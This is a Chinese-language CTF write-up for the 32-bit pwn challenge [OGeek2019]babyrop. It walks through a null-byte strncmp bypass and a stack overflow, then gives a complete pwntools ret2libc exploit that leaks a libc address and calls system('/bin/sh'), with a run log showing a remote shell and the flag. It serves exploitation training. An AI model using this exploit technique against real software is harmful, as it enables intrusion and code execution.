[OGeek2019]babyrop
潜心修炼,从基础开始
栈溢出无system的ROP
解题流程
1.查看文件
$ file OGrop
OGrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
2.查看保护
$ checksec OGrop
[*] '/home/ctf/Downloads/pwnexercise/OGrop/OGrop'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开了RELRO和NX保护
3.IDA反编译
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
获取一个随机数,然后继续跟进sub_804871F,sub_80487D0
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
大概意思就是比较两个字符串是否一样,一样则继续,不一样则退出
strncmp:函数声明为int strncmp ( const char * str1, const char * str2, size_t n );功能是把 str1 和 str2 进行比较,最多比较前 n 个字节,若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 小于s2,则返回小于0的值。
可以利用\00绕过比较
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1);
return result;
}
buf缓冲区大小为231,如果a1大于231的话就可以栈溢出
a1是哪里来的呢,其实就是我们在上一步的时候输入的
4.查找利用链
查看字符串,发现没有可利用的后门
那就只能通过write泄露read的got表地址,获得libc偏移,构造system(/bin/sh)
5.编写EXP1
# -*- coding:utf-8 -*-
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64")
# context.log_level="debug"
local = 0
elf = ELF('./OGrop')
if local:
pro = process('./OGrop')
else:
pro = remote('node4.buuoj.cn', 27154)
def get_libcbase():
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*0x7
pro.sendline(payload1)
#泄露read的got地址
payload=b'a'*0xe7+b'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)
pro.sendlineafter('Correct\n',payload)
read_addr=u32(pro.recv(4))
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
# print('libc_base_addr:%x'%libc_base)
return libc,libc_base
def get_shell(libc,libc_addr):
payload1='\x00'+'\xff'*0x7
pro.sendline(payload1)
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
payload=b'a'*0xe7+b'b'*0x4
payload+=p32(system)+b'AAAA'+p32(binsh)
pro.sendlineafter(b'Correct\n',payload)
pro.interactive()
if __name__ == '__main__' :
libc ,libc_addr = get_libcbase()
get_shell(libc,libc_addr)
6.获得flag
$ python OGropExp.py
[*] '/home/ctf/Downloads/pwnexercise/OGrop/OGrop'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to node4.buuoj.cn on port 27154: Done
Multi Results:
0: archive-old-glibc (id libc6_2.3.2.ds1-13ubuntu2.2_i386_2)
1: archive-old-glibc (id libc6_2.3.2.ds1-13ubuntu2_i386_2)
2: archive-old-glibc (id libc6_2.3.2.ds1-13ubuntu2.3_i386_2)
3: ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64)
4: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:4
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
$ cat flag
flag{d05b6cb5-f015-4c71-a686-bef6520b1fba}
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 27154
打完收工
由于无法下载题目给出的libc,只能通过LibcSearcher去查找对应的libc,这里找到了5个,挨个试。。。。 ↩︎